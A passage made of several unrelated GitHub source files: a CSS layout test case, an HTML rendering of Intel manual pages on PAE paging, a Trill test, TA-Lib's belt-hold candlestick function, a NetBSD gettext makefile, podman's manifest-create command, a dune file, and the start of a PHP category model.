{ "assert": "The auto height of a block formatting context element is computed by accounting for bottom-margins of floated content which would otherwise be below the bottom edge of that element.", "matches": "../reference/ref-filled-black-96px-square.xht", "test_case": { "children": [ { "children": [ { "tag": "div", "style": { "unicode_bidi": "embed", "margin_bottom": "48px", "float": "left", "width": "100%", "height": "48px", "display": "block" } } ], "tag": "div", "style": { "unicode_bidi": "embed", "background_position_x": "initial", "background_origin": "initial", "background_position_y": "initial", "background_attachment": "initial", "width": "96px", "background_color": "black", "display": "block", "background_repeat_y": "initial", "background_repeat_x": "initial", "background_size": "initial", "background_image": "initial", "height": "auto", "background_clip": "initial", "position": "absolute" } } ], "tag": "body", "style": { "unicode_bidi": "embed", "margin_right": "8px", "margin_bottom": "8px", "margin_left": "8px", "display": "block", "margin_top": "8px" } }, "help": [ "http://www.w3.org/TR/CSS21/visudet.html#root-height" ] }
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml" lang="" xml:lang=""> <head> <title>Page 118</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/> <style type="text/css"> <!-- p {margin: 0; padding: 0;} .ft00{font-size:9px;font-family:Times;color:#000000;} .ft01{font-size:11px;font-family:Times;color:#0860a8;} .ft02{font-size:16px;font-family:Times;color:#0860a8;} .ft03{font-size:11px;font-family:Times;color:#000000;} .ft04{font-size:18px;font-family:Times;color:#000000;} .ft05{font-size:11px;font-family:Times;color:#000000;} .ft06{font-size:8px;font-family:Times;color:#000000;} .ft07{font-size:12px;font-family:Times;color:#0860a8;} .ft08{font-size:11px;line-height:16px;font-family:Times;color:#000000;} .ft09{font-size:11px;line-height:24px;font-family:Times;color:#000000;} .ft010{font-size:11px;line-height:23px;font-family:Times;color:#000000;} --> </style> </head> <body bgcolor="#A0A0A0" vlink="blue" link="blue"> <div id="page118-div" style="position:relative;width:918px;height:1188px;"> <img width="918" height="1188" src="o_fe12b1e2a880e0ce118.png" alt="background image"/> <p style="position:absolute;top:1103px;left:68px;white-space:nowrap" class="ft00">4-14&#160;Vol. 3A</p> <p style="position:absolute;top:47px;left:68px;white-space:nowrap" class="ft01">PAGING</p> <p style="position:absolute;top:511px;left:68px;white-space:nowrap" class="ft02">4.4.2&#160;</p> <p style="position:absolute;top:511px;left:148px;white-space:nowrap" class="ft02">Linear-Address Translation with PAE Paging</p> <p style="position:absolute;top:542px;left:68px;white-space:nowrap" class="ft08">PAE paging may map&#160;linear addresses to&#160;either 4-KByte&#160;pages or&#160;<a href="o_fe12b1e2a880e0ce-119.html">2-MByte pages. Figure&#160;4-5&#160;</a>illustrates&#160;the&#160;trans-<br/>lation process when&#160;it produces&#160;a&#160;4-KByte page<a href="o_fe12b1e2a880e0ce-120.html">; Figure&#160;4-6&#160;</a>covers the case of&#160;a 2-MByte page.&#160;The following items&#160;<br/>describe the&#160;PAE&#160;paging process in&#160;more detail as&#160;well has&#160;how the&#160;page size&#160;is determined:</p> <p style="position:absolute;top:597px;left:68px;white-space:nowrap" class="ft04">•</p> <p style="position:absolute;top:598px;left:93px;white-space:nowrap" class="ft08">Bits&#160;31:30&#160;of the linear address&#160;select a PDPTE&#160;register (see<a href="o_fe12b1e2a880e0ce-117.html">&#160;Section 4.4.1);&#160;</a>this is PDPTE<i>i</i>, where&#160;<i>i</i>&#160;is&#160;the value&#160;<br/>of bits 31:30.</p> <p style="position:absolute;top:611px;left:184px;white-space:nowrap" class="ft06">1</p> <p style="position:absolute;top:614px;left:191px;white-space:nowrap" class="ft03">&#160;Because a&#160;PDPTE register&#160;is&#160;identified&#160;using bits&#160;31:30&#160;of&#160;the linear address, it controls&#160;access&#160;</p> <p style="position:absolute;top:631px;left:93px;white-space:nowrap" class="ft08">to a&#160;1-GByte region&#160;of the&#160;linear-address&#160;space.&#160;If&#160;the&#160;P&#160;flag (bit&#160;0) of PDPTE<i>i</i>&#160;is 0,&#160;the processor ignores&#160;bits&#160;<br/>63:1,&#160;and there is&#160;no mapping for the 1-GByte&#160;region&#160;controlled&#160;by PDPTE<i>i</i>. A reference using&#160;a&#160;linear address&#160;<br/>in&#160;this&#160;region&#160;causes a&#160;page-fault&#160;exception (see<a href="o_fe12b1e2a880e0ce-135.html">&#160;Section 4.7)</a>.</p> <p style="position:absolute;top:685px;left:68px;white-space:nowrap" class="ft04">•</p> <p style="position:absolute;top:686px;left:93px;white-space:nowrap" class="ft09">If the P flag of PDPTE<i>i</i>&#160;is 1,&#160;4-KByte naturally&#160;aligned page directory is located at the physical address specified&#160;<br/>in&#160;bits&#160;51:12&#160;of&#160;PDPTE<i>i</i>&#160;(see&#160;<a href="o_fe12b1e2a880e0ce-118.html">Table&#160;4-8&#160;</a>in&#160;<a href="o_fe12b1e2a880e0ce-117.html">Section 4.4.1).</a>&#160;A&#160;page&#160;directory comprises 512&#160;64-bit entries&#160;(PDEs).&#160;<br/>A PDE is&#160;selected&#160;using&#160;the physical address&#160;defined as&#160;follows:<br/>—&#160;Bits&#160;51:12&#160;are from PDPTE<i>i</i>.<br/>—&#160;Bits&#160;11:3&#160;are&#160;bits&#160;29:21&#160;of&#160;the&#160;linear&#160;address.<br/>—&#160;Bits&#160;2:0&#160;are&#160;0.</p> <p style="position:absolute;top:815px;left:68px;white-space:nowrap" class="ft08">Because&#160;a PDE is&#160;identified&#160;using bits&#160;31:21&#160;of the&#160;linear address,&#160;it&#160;controls access to&#160;a 2-Mbyte&#160;region&#160;of&#160;the&#160;<br/>linear-address space.&#160;Use&#160;of&#160;the PDE depends on its&#160;PS&#160;flag&#160;(bit&#160;7):</p> <p style="position:absolute;top:853px;left:68px;white-space:nowrap" class="ft04">•</p> <p style="position:absolute;top:854px;left:93px;white-space:nowrap" class="ft09">If the PDE’s PS&#160;flag&#160;is 1,&#160;the PDE maps a&#160;2-MByte&#160;page (see<a href="o_fe12b1e2a880e0ce-120.html">&#160;Table&#160;4-9).</a>&#160;The&#160;final physical address is computed&#160;<br/>as follows:<br/>—&#160;Bits&#160;51:21&#160;are from the&#160;PDE.<br/>—&#160;Bits&#160;20:0 are&#160;from&#160;the&#160;original linear&#160;address.</p> <p style="position:absolute;top:940px;left:68px;white-space:nowrap" class="ft04">•</p> <p style="position:absolute;top:941px;left:93px;white-space:nowrap" class="ft09">If the&#160;PDE’s PS flag is&#160;0,&#160;a 4-KByte&#160;naturally&#160;aligned page&#160;table&#160;is located at&#160;the physical address&#160;specified in&#160;<br/>bits&#160;51:12 of&#160;<a href="o_fe12b1e2a880e0ce-121.html">the PDE (see Table&#160;4-10)</a>. A&#160;page table&#160;comprises 512&#160;64-bit entries&#160;(PTEs). A PTE&#160;is&#160;selected&#160;<br/>using&#160;the physical address&#160;defined as follows:<br/>—&#160;Bits&#160;51:12&#160;are from the&#160;PDE.</p> <p style="position:absolute;top:100px;left:211px;white-space:nowrap" class="ft07">Table 4-8. &#160;Format of&#160;a&#160;PAE&#160;Page-Directory-Pointer-Table Entry (PDPTE)</p> <p style="position:absolute;top:133px;left:78px;white-space:nowrap" class="ft03">Bit&#160;</p> <p style="position:absolute;top:148px;left:78px;white-space:nowrap" class="ft03">Position(s)</p> <p style="position:absolute;top:133px;left:165px;white-space:nowrap" class="ft03">Contents</p> <p style="position:absolute;top:177px;left:78px;white-space:nowrap" class="ft03">0 (P)</p> <p style="position:absolute;top:177px;left:165px;white-space:nowrap" class="ft03">Present; must&#160;be&#160;1&#160;to&#160;reference a&#160;page&#160;directory</p> <p style="position:absolute;top:205px;left:78px;white-space:nowrap" class="ft03">2:1</p> <p style="position:absolute;top:205px;left:165px;white-space:nowrap" class="ft03">Reserved (must be&#160;0)</p> <p style="position:absolute;top:234px;left:78px;white-space:nowrap" class="ft03">3 (PWT)</p> <p style="position:absolute;top:234px;left:165px;white-space:nowrap" class="ft03">Page-level write-through; indirectly&#160;determines the memory&#160;type&#160;used&#160;to&#160;access the page&#160;directory referenced&#160;by&#160;</p> <p style="position:absolute;top:250px;left:165px;white-space:nowrap" class="ft03">this en<a href="o_fe12b1e2a880e0ce-138.html">try (see Section 4.9)</a></p> <p style="position:absolute;top:279px;left:78px;white-space:nowrap" class="ft03">4 (PCD)</p> <p style="position:absolute;top:279px;left:165px;white-space:nowrap" class="ft03">Page-level cache&#160;disable; indirectly determines the memory type&#160;used&#160;to&#160;access the&#160;page&#160;directory&#160;referenced by&#160;</p> <p style="position:absolute;top:295px;left:165px;white-space:nowrap" class="ft03">this en<a href="o_fe12b1e2a880e0ce-138.html">try (see Section 4.9)</a></p> <p style="position:absolute;top:324px;left:78px;white-space:nowrap" class="ft03">8:5</p> <p style="position:absolute;top:324px;left:165px;white-space:nowrap" class="ft03">Reserved (must be&#160;0)</p> <p style="position:absolute;top:352px;left:78px;white-space:nowrap" class="ft03">11:9</p> <p style="position:absolute;top:352px;left:165px;white-space:nowrap" class="ft03">Ignored</p> <p style="position:absolute;top:381px;left:78px;white-space:nowrap" class="ft03">(M–1):12</p> <p style="position:absolute;top:381px;left:165px;white-space:nowrap" class="ft03">Physical&#160;address&#160;of&#160;4-KByte aligned page&#160;directory referenced&#160;by this&#160;entry</p> <p style="position:absolute;top:378px;left:595px;white-space:nowrap" class="ft06">1</p> <p style="position:absolute;top:409px;left:78px;white-space:nowrap" class="ft03">63:M</p> <p style="position:absolute;top:409px;left:165px;white-space:nowrap" class="ft03">Reserved&#160;(must be&#160;0)</p> <p style="position:absolute;top:439px;left:70px;white-space:nowrap" class="ft01">NOTES:</p> <p style="position:absolute;top:458px;left:69px;white-space:nowrap" class="ft03">1. M is an abbreviation for MAXPHYADDR,&#160;which is&#160;at&#160;most&#160;52; see<a href="o_fe12b1e2a880e0ce-109.html">&#160;Section&#160;4.1.4.</a></p> <p style="position:absolute;top:1038px;left:68px;white-space:nowrap" class="ft03">1.&#160;With PAE&#160;paging, the&#160;processor does not use&#160;CR3 when&#160;translating&#160;a linear address&#160;(as it&#160;does&#160;in&#160;the&#160;other paging&#160;modes).&#160;It&#160;does&#160;</p> <p style="position:absolute;top:1054px;left:89px;white-space:nowrap" class="ft03">not access&#160;the&#160;PDPTEs&#160;in&#160;the page-directory-pointer&#160;table&#160;during&#160;linear-address translation.</p> </div> </body> </html>
{ "pile_set_name": "Github" }
// RUN-NOT: %trill -run %s func pred(_ n: Int) -> Int { return n - 1 } func buildStackIntermediate(counter: *Int, _ f: (Int) -> Int) { printf("%s\n", #function) buildStack(counter: counter, f) } func buildStack(counter: *Int, _ f: (Int) -> Int) { printf("%s\n", #function) if *counter == 0 { trill_fatalError("Noooooooo") } let c = f(*counter) buildStackIntermediate(counter: &c, f) } func main() { let n = 10 buildStack(counter: &n, pred) }
{ "pile_set_name": "Github" }
/* TA-LIB Copyright (c) 1999-2008, Mario Fortier * All rights reserved. * * Redistribution and use in source and binary forms, with or * without modification, are permitted provided that the following * conditions are met: * * - Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * - Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * - Neither name of author nor the names of its contributors * may be used to endorse or promote products derived from this * software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * REGENTS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE * OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* List of contributors: * * Initial Name/description * ------------------------------------------------------------------- * AC Angelo Ciceri * * * Change history: * * MMDDYY BY Description * ------------------------------------------------------------------- * 010605 AC Creation * */ /**** START GENCODE SECTION 1 - DO NOT DELETE THIS LINE ****/ /* All code within this section is automatically * generated by gen_code. Any modification will be lost * next time gen_code is run. */ /* Generated */ /* Generated */ #if defined( _MANAGED ) /* Generated */ #include "TA-Lib-Core.h" /* Generated */ #define TA_INTERNAL_ERROR(Id) (RetCode::InternalError) /* Generated */ namespace TicTacTec { namespace TA { namespace Library { /* Generated */ #elif defined( _JAVA ) /* Generated */ #include "ta_defs.h" /* Generated */ #include "ta_java_defs.h" /* Generated */ #define TA_INTERNAL_ERROR(Id) (RetCode.InternalError) /* Generated */ #else /* Generated */ #include <string.h> /* Generated */ #include <math.h> /* Generated */ #include "ta_func.h" /* Generated */ #endif /* Generated */ /* Generated */ #ifndef TA_UTILITY_H /* Generated */ #include "ta_utility.h" /* Generated */ #endif /* Generated */ /* Generated */ #ifndef TA_MEMORY_H /* Generated */ #include "ta_memory.h" /* Generated */ #endif /* Generated */ /* Generated */ #define TA_PREFIX(x) TA_##x /* Generated */ #define INPUT_TYPE double /* Generated */ /* Generated */ #if defined( _MANAGED ) /* Generated */ int Core::CdlBeltHoldLookback( void ) /* Generated */ /* Generated */ #elif defined( _JAVA ) /* Generated */ public int cdlBeltHoldLookback( ) /* Generated */ /* Generated */ #else /* Generated */ int TA_CDLBELTHOLD_Lookback( void ) /* Generated */ /* Generated */ #endif /**** END GENCODE SECTION 1 - DO NOT DELETE THIS LINE ****/ { /* insert local variable here */ /**** START GENCODE SECTION 2 - DO NOT DELETE THIS LINE ****/ /* Generated */ /* No parameters to validate. */ /**** END GENCODE SECTION 2 - DO NOT DELETE THIS LINE ****/ /* insert lookback code here. */ return max( TA_CANDLEAVGPERIOD(BodyLong), TA_CANDLEAVGPERIOD(ShadowVeryShort) ); } /**** START GENCODE SECTION 3 - DO NOT DELETE THIS LINE ****/ /* * TA_CDLBELTHOLD - Belt-hold * * Input = Open, High, Low, Close * Output = int * */ /* Generated */ /* Generated */ #if defined( _MANAGED ) && defined( USE_SUBARRAY ) /* Generated */ enum class Core::RetCode Core::CdlBeltHold( int startIdx, /* Generated */ int endIdx, /* Generated */ SubArray<double>^ inOpen, /* Generated */ SubArray<double>^ inHigh, /* Generated */ SubArray<double>^ inLow, /* Generated */ SubArray<double>^ inClose, /* Generated */ [Out]int% outBegIdx, /* Generated */ [Out]int% outNBElement, /* Generated */ SubArray<int>^ outInteger ) /* Generated */ #elif defined( _MANAGED ) /* Generated */ enum class Core::RetCode Core::CdlBeltHold( int startIdx, /* Generated */ int endIdx, /* Generated */ cli::array<double>^ inOpen, /* Generated */ cli::array<double>^ inHigh, /* Generated */ cli::array<double>^ inLow, /* Generated */ cli::array<double>^ inClose, /* Generated */ [Out]int% outBegIdx, /* Generated */ [Out]int% outNBElement, /* Generated */ cli::array<int>^ outInteger ) /* Generated */ #elif defined( _JAVA ) /* Generated */ public RetCode cdlBeltHold( int startIdx, /* Generated */ int endIdx, /* Generated */ double inOpen[], /* Generated */ double inHigh[], /* Generated */ double inLow[], /* Generated */ double inClose[], /* Generated */ MInteger outBegIdx, /* Generated */ MInteger outNBElement, /* Generated */ int outInteger[] ) /* Generated */ #else /* Generated */ TA_RetCode TA_CDLBELTHOLD( int startIdx, /* Generated */ int endIdx, /* Generated */ const double inOpen[], /* Generated */ const double inHigh[], /* Generated */ const double inLow[], /* Generated */ const double inClose[], /* Generated */ int *outBegIdx, /* Generated */ int *outNBElement, /* Generated */ int outInteger[] ) /* Generated */ #endif /**** END GENCODE SECTION 3 - DO NOT DELETE THIS LINE ****/ { /* Insert local variables here. */ double BodyLongPeriodTotal, ShadowVeryShortPeriodTotal; int i, outIdx, BodyLongTrailingIdx, ShadowVeryShortTrailingIdx, lookbackTotal; /**** START GENCODE SECTION 4 - DO NOT DELETE THIS LINE ****/ /* Generated */ /* Generated */ #ifndef TA_FUNC_NO_RANGE_CHECK /* Generated */ /* Generated */ /* Validate the requested output range. */ /* Generated */ if( startIdx < 0 ) /* Generated */ return ENUM_VALUE(RetCode,TA_OUT_OF_RANGE_START_INDEX,OutOfRangeStartIndex); /* Generated */ if( (endIdx < 0) || (endIdx < startIdx)) /* Generated */ return ENUM_VALUE(RetCode,TA_OUT_OF_RANGE_END_INDEX,OutOfRangeEndIndex); /* Generated */ /* Generated */ #if !defined(_JAVA) /* Generated */ /* Verify required price component. */ /* Generated */ if(!inOpen||!inHigh||!inLow||!inClose) /* Generated */ return ENUM_VALUE(RetCode,TA_BAD_PARAM,BadParam); /* Generated */ /* Generated */ #endif /* !defined(_JAVA)*/ /* Generated */ #if !defined(_JAVA) /* Generated */ if( !outInteger ) /* Generated */ return ENUM_VALUE(RetCode,TA_BAD_PARAM,BadParam); /* Generated */ /* Generated */ #endif /* !defined(_JAVA) */ /* Generated */ #endif /* TA_FUNC_NO_RANGE_CHECK */ /* Generated */ /**** END GENCODE SECTION 4 - DO NOT DELETE THIS LINE ****/ /* Identify the minimum number of price bar needed * to calculate at least one output. */ lookbackTotal = LOOKBACK_CALL(CDLBELTHOLD)(); /* Move up the start index if there is not * enough initial data. */ if( startIdx < lookbackTotal ) startIdx = lookbackTotal; /* Make sure there is still something to evaluate. */ if( startIdx > endIdx ) { VALUE_HANDLE_DEREF_TO_ZERO(outBegIdx); VALUE_HANDLE_DEREF_TO_ZERO(outNBElement); return ENUM_VALUE(RetCode,TA_SUCCESS,Success); } /* Do the calculation using tight loops. */ /* Add-up the initial period, except for the last value. */ BodyLongPeriodTotal = 0; BodyLongTrailingIdx = startIdx - TA_CANDLEAVGPERIOD(BodyLong); ShadowVeryShortPeriodTotal = 0; ShadowVeryShortTrailingIdx = startIdx - TA_CANDLEAVGPERIOD(ShadowVeryShort); i = BodyLongTrailingIdx; while( i < startIdx ) { BodyLongPeriodTotal += TA_CANDLERANGE( BodyLong, i ); i++; } i = ShadowVeryShortTrailingIdx; while( i < startIdx ) { ShadowVeryShortPeriodTotal += TA_CANDLERANGE( ShadowVeryShort, i ); i++; } /* Proceed with the calculation for the requested range. * Must have: * - long white (black) real body * - no or very short lower (upper) shadow * The meaning of "long" and "very short" is specified with TA_SetCandleSettings * outInteger is positive (1 to 100) when white (bullish), negative (-1 to -100) when black (bearish) */ outIdx = 0; do { if( TA_REALBODY(i) > TA_CANDLEAVERAGE( BodyLong, BodyLongPeriodTotal, i ) && // long body ( ( // white body and very short lower shadow TA_CANDLECOLOR(i) == 1 && TA_LOWERSHADOW(i) < TA_CANDLEAVERAGE( ShadowVeryShort, ShadowVeryShortPeriodTotal, i ) ) || ( // black body and very short upper shadow TA_CANDLECOLOR(i) == -1 && TA_UPPERSHADOW(i) < TA_CANDLEAVERAGE( ShadowVeryShort, ShadowVeryShortPeriodTotal, i ) ) ) ) outInteger[outIdx++] = TA_CANDLECOLOR(i) * 100; else outInteger[outIdx++] = 0; /* add the current range and subtract the first range: this is done after the pattern recognition * when avgPeriod is not 0, that means "compare with the previous candles" (it excludes the current candle) */ BodyLongPeriodTotal += TA_CANDLERANGE( BodyLong, i ) - TA_CANDLERANGE( BodyLong, BodyLongTrailingIdx ); ShadowVeryShortPeriodTotal += TA_CANDLERANGE( ShadowVeryShort, i ) - TA_CANDLERANGE( ShadowVeryShort, ShadowVeryShortTrailingIdx ); i++; BodyLongTrailingIdx++; ShadowVeryShortTrailingIdx++; } while( i <= endIdx ); /* All done. Indicate the output limits and return. */ VALUE_HANDLE_DEREF(outNBElement) = outIdx; VALUE_HANDLE_DEREF(outBegIdx) = startIdx; return ENUM_VALUE(RetCode,TA_SUCCESS,Success); } /**** START GENCODE SECTION 5 - DO NOT DELETE THIS LINE ****/ /* Generated */ /* Generated */ #define USE_SINGLE_PRECISION_INPUT /* Generated */ #undef TA_LIB_PRO /* Generated */ #if !defined( _MANAGED ) && !defined( _JAVA ) /* Generated */ #undef TA_PREFIX /* Generated */ #define TA_PREFIX(x) TA_S_##x /* Generated */ #endif /* Generated */ #undef INPUT_TYPE /* Generated */ #define INPUT_TYPE float /* Generated */ #if defined( _MANAGED ) && defined( USE_SUBARRAY ) /* Generated */ enum class Core::RetCode Core::CdlBeltHold( int startIdx, /* Generated */ int endIdx, /* Generated */ SubArray<float>^ inOpen, /* Generated */ SubArray<float>^ inHigh, /* Generated */ SubArray<float>^ inLow, /* Generated */ SubArray<float>^ inClose, /* Generated */ [Out]int% outBegIdx, /* Generated */ [Out]int% outNBElement, /* Generated */ SubArray<int>^ outInteger ) /* Generated */ #elif defined( _MANAGED ) /* Generated */ enum class Core::RetCode Core::CdlBeltHold( int startIdx, /* Generated */ int endIdx, /* Generated */ cli::array<float>^ inOpen, /* Generated */ cli::array<float>^ inHigh, /* Generated */ cli::array<float>^ inLow, /* Generated */ cli::array<float>^ inClose, /* Generated */ [Out]int% outBegIdx, /* Generated */ [Out]int% outNBElement, /* Generated */ cli::array<int>^ outInteger ) /* Generated */ #elif defined( _JAVA ) /* Generated */ public RetCode cdlBeltHold( int startIdx, /* Generated */ int endIdx, /* Generated */ float inOpen[], /* Generated */ float inHigh[], /* Generated */ float inLow[], /* Generated */ float inClose[], /* Generated */ MInteger outBegIdx, /* Generated */ MInteger outNBElement, /* Generated */ int outInteger[] ) /* Generated */ #else /* Generated */ TA_RetCode TA_S_CDLBELTHOLD( int startIdx, /* Generated */ int endIdx, /* Generated */ const float inOpen[], /* Generated */ const float inHigh[], /* Generated */ const float inLow[], /* Generated */ const float inClose[], /* Generated */ int *outBegIdx, /* Generated */ int *outNBElement, /* Generated */ int outInteger[] ) /* Generated */ #endif /* Generated */ { /* Generated */ double BodyLongPeriodTotal, ShadowVeryShortPeriodTotal; /* Generated */ int i, outIdx, BodyLongTrailingIdx, ShadowVeryShortTrailingIdx, lookbackTotal; /* Generated */ #ifndef TA_FUNC_NO_RANGE_CHECK /* Generated */ if( startIdx < 0 ) /* Generated */ return ENUM_VALUE(RetCode,TA_OUT_OF_RANGE_START_INDEX,OutOfRangeStartIndex); /* Generated */ if( (endIdx < 0) || (endIdx < startIdx)) /* Generated */ return ENUM_VALUE(RetCode,TA_OUT_OF_RANGE_END_INDEX,OutOfRangeEndIndex); /* Generated */ #if !defined(_JAVA) /* Generated */ if(!inOpen||!inHigh||!inLow||!inClose) /* Generated */ return ENUM_VALUE(RetCode,TA_BAD_PARAM,BadParam); /* Generated */ #endif /* Generated */ #if !defined(_JAVA) /* Generated */ if( !outInteger ) /* Generated */ return ENUM_VALUE(RetCode,TA_BAD_PARAM,BadParam); /* Generated */ #endif /* Generated */ #endif /* Generated */ lookbackTotal = LOOKBACK_CALL(CDLBELTHOLD)(); /* Generated */ if( startIdx < lookbackTotal ) /* Generated */ startIdx = lookbackTotal; /* Generated */ if( startIdx > endIdx ) /* Generated */ { /* Generated */ VALUE_HANDLE_DEREF_TO_ZERO(outBegIdx); /* Generated */ VALUE_HANDLE_DEREF_TO_ZERO(outNBElement); /* Generated */ return ENUM_VALUE(RetCode,TA_SUCCESS,Success); /* Generated */ } /* Generated */ BodyLongPeriodTotal = 0; /* Generated */ BodyLongTrailingIdx = startIdx - TA_CANDLEAVGPERIOD(BodyLong); /* Generated */ ShadowVeryShortPeriodTotal = 0; /* Generated */ ShadowVeryShortTrailingIdx = startIdx - TA_CANDLEAVGPERIOD(ShadowVeryShort); /* Generated */ i = BodyLongTrailingIdx; /* Generated */ while( i < startIdx ) { /* Generated */ BodyLongPeriodTotal += TA_CANDLERANGE( BodyLong, i ); /* Generated */ i++; /* Generated */ } /* Generated */ i = ShadowVeryShortTrailingIdx; /* Generated */ while( i < startIdx ) { /* Generated */ ShadowVeryShortPeriodTotal += TA_CANDLERANGE( ShadowVeryShort, i ); /* Generated */ i++; /* Generated */ } /* Generated */ outIdx = 0; /* Generated */ do /* Generated */ { /* Generated */ if( TA_REALBODY(i) > TA_CANDLEAVERAGE( BodyLong, BodyLongPeriodTotal, i ) && // long body /* Generated */ ( /* Generated */ ( // white body and very short lower shadow /* Generated */ TA_CANDLECOLOR(i) == 1 && /* Generated */ TA_LOWERSHADOW(i) < TA_CANDLEAVERAGE( ShadowVeryShort, ShadowVeryShortPeriodTotal, i ) /* Generated */ ) || /* Generated */ ( // black body and very short upper shadow /* Generated */ TA_CANDLECOLOR(i) == -1 && /* Generated */ TA_UPPERSHADOW(i) < TA_CANDLEAVERAGE( ShadowVeryShort, ShadowVeryShortPeriodTotal, i ) /* Generated */ ) /* Generated */ ) ) /* Generated */ outInteger[outIdx++] = TA_CANDLECOLOR(i) * 100; /* Generated */ else /* Generated */ outInteger[outIdx++] = 0; /* Generated */ BodyLongPeriodTotal += TA_CANDLERANGE( BodyLong, i ) - TA_CANDLERANGE( BodyLong, BodyLongTrailingIdx ); /* Generated */ ShadowVeryShortPeriodTotal += TA_CANDLERANGE( ShadowVeryShort, i ) /* Generated */ - TA_CANDLERANGE( ShadowVeryShort, ShadowVeryShortTrailingIdx ); /* Generated */ i++; /* Generated */ BodyLongTrailingIdx++; /* Generated */ ShadowVeryShortTrailingIdx++; /* Generated */ } while( i <= endIdx ); /* Generated */ VALUE_HANDLE_DEREF(outNBElement) = outIdx; /* Generated */ VALUE_HANDLE_DEREF(outBegIdx) = startIdx; /* Generated */ return ENUM_VALUE(RetCode,TA_SUCCESS,Success); /* Generated */ } /* Generated */ /* Generated */ #if defined( _MANAGED ) /* Generated */ }}} // Close namespace TicTacTec.TA.Lib /* Generated */ #endif /**** END GENCODE SECTION 5 - DO NOT DELETE THIS LINE ****/
{ "pile_set_name": "Github" }
# $NetBSD: buildlink3.mk,v 1.40 2019/11/03 10:39:12 rillig Exp $ BUILDLINK_TREE+= gettext .if !defined(GETTEXT_BUILDLINK3_MK) GETTEXT_BUILDLINK3_MK:= BUILDLINK_API_DEPENDS.gettext+= gettext-lib>=0.18 BUILDLINK_ABI_DEPENDS.gettext+= gettext-lib>=0.18 BUILDLINK_PKGSRCDIR.gettext?= ../../devel/gettext-lib BUILDLINK_LIBNAME.gettext= intl BUILDLINK_LDADD.gettext= ${BUILDLINK_LIBNAME.gettext:S/^/-l/:S/^-l$//} BUILDLINK_LDADD.gettext+= ${BUILDLINK_LDADD.iconv} .include "../../mk/bsd.fast.prefs.mk" # Some GNU configure scripts generated with an older and broken gettext.m4 # fail to detect if gettext is present or not because it fails to add # "-lintl" to the linker command line. # # If BROKEN_GETTEXT_DETECTION is "yes", then automatically add "-lintl" # to LIBS to workaround this brokenness. # BROKEN_GETTEXT_DETECTION?= no .if !empty(BROKEN_GETTEXT_DETECTION:M[yY][eE][sS]) BUILDLINK_LIBS.gettext+= ${BUILDLINK_LDADD.gettext} CONFIGURE_ENV+= INTLLIBS="${BUILDLINK_LDADD.gettext}" .endif CHECK_BUILTIN.gettext:= yes .include "../../devel/gettext-lib/builtin.mk" CHECK_BUILTIN.gettext:= no # A built-in gettext is always going to use a built-in iconv. .if !empty(USE_BUILTIN.gettext:M[yY][eE][sS]) USE_BUILTIN.iconv= yes .else #BUILDLINK_INCDIRS.gettext+= include/gettext BUILDLINK_FNAME_TRANSFORM.gettext+= -e 's|include/gettext/|include/|' .endif .include "../../converters/libiconv/buildlink3.mk" .endif # GETTEXT_BUILDLINK3_MK BUILDLINK_TREE+= -gettext
{ "pile_set_name": "Github" }
package manifest import ( "context" "fmt" "github.com/containers/podman/v2/cmd/podman/registry" "github.com/containers/podman/v2/pkg/domain/entities" "github.com/pkg/errors" "github.com/spf13/cobra" ) var ( manifestCreateOpts = entities.ManifestCreateOptions{} createCmd = &cobra.Command{ Use: "create [flags] LIST [IMAGE]", Short: "Create manifest list or image index", Long: "Creates manifest lists or image indexes.", RunE: create, Example: `podman manifest create mylist:v1.11 podman manifest create mylist:v1.11 arch-specific-image-to-add podman manifest create --all mylist:v1.11 transport:tagged-image-to-add`, Args: cobra.RangeArgs(1, 2), } ) func init() { registry.Commands = append(registry.Commands, registry.CliCommand{ Mode: []entities.EngineMode{entities.ABIMode, entities.TunnelMode}, Command: createCmd, Parent: manifestCmd, }) flags := createCmd.Flags() flags.BoolVar(&manifestCreateOpts.All, "all", false, "add all of the lists' images if the images to add are lists") } func create(cmd *cobra.Command, args []string) error { imageID, err := registry.ImageEngine().ManifestCreate(context.Background(), args[:1], args[1:], manifestCreateOpts) if err != nil { return errors.Wrapf(err, "error creating manifest %s", args[0]) } fmt.Printf("%s\n", imageID) return nil }
{ "pile_set_name": "Github" }
(executable (name generate) (flags ( "-safe-string" "-w" "A" )) (libraries menhirSdk) )
{ "pile_set_name": "Github" }
<?php // +---------------------------------------------------------------------- // | OneThink [ WE CAN DO IT JUST THINK IT ] // +---------------------------------------------------------------------- // | Copyright (c) 2013 http://www.onethink.cn All rights reserved. // +---------------------------------------------------------------------- // | Author: 麦当苗儿 <[email protected]> <http://www.zjzit.cn> // +---------------------------------------------------------------------- namespace Admin\Model; use Think\Model; /** * 分类模型 * @author 麦当苗儿 <[email protected]> */ class CategoryModel extends Model{ protected $_validate = array( array('name', 'require', '标识不能为空', self::EXISTS_VALIDATE, 'regex', self::MODEL_BOTH), array('name', '', '标识已经存在', self::VALUE_VALIDATE, 'unique', self::MODEL_BOTH), array('title', 'require', '名称不能为空', self::MUST_VALIDATE , 'regex', self::MODEL_BOTH), array('meta_title', '1,50', '网页标题不能超过50个字符', self::VALUE_VALIDATE , 'length', self::MODEL_BOTH), array('keywords', '1,255', '网页关键字不能超过255个字符', self::VALUE_VALIDATE , 'length', 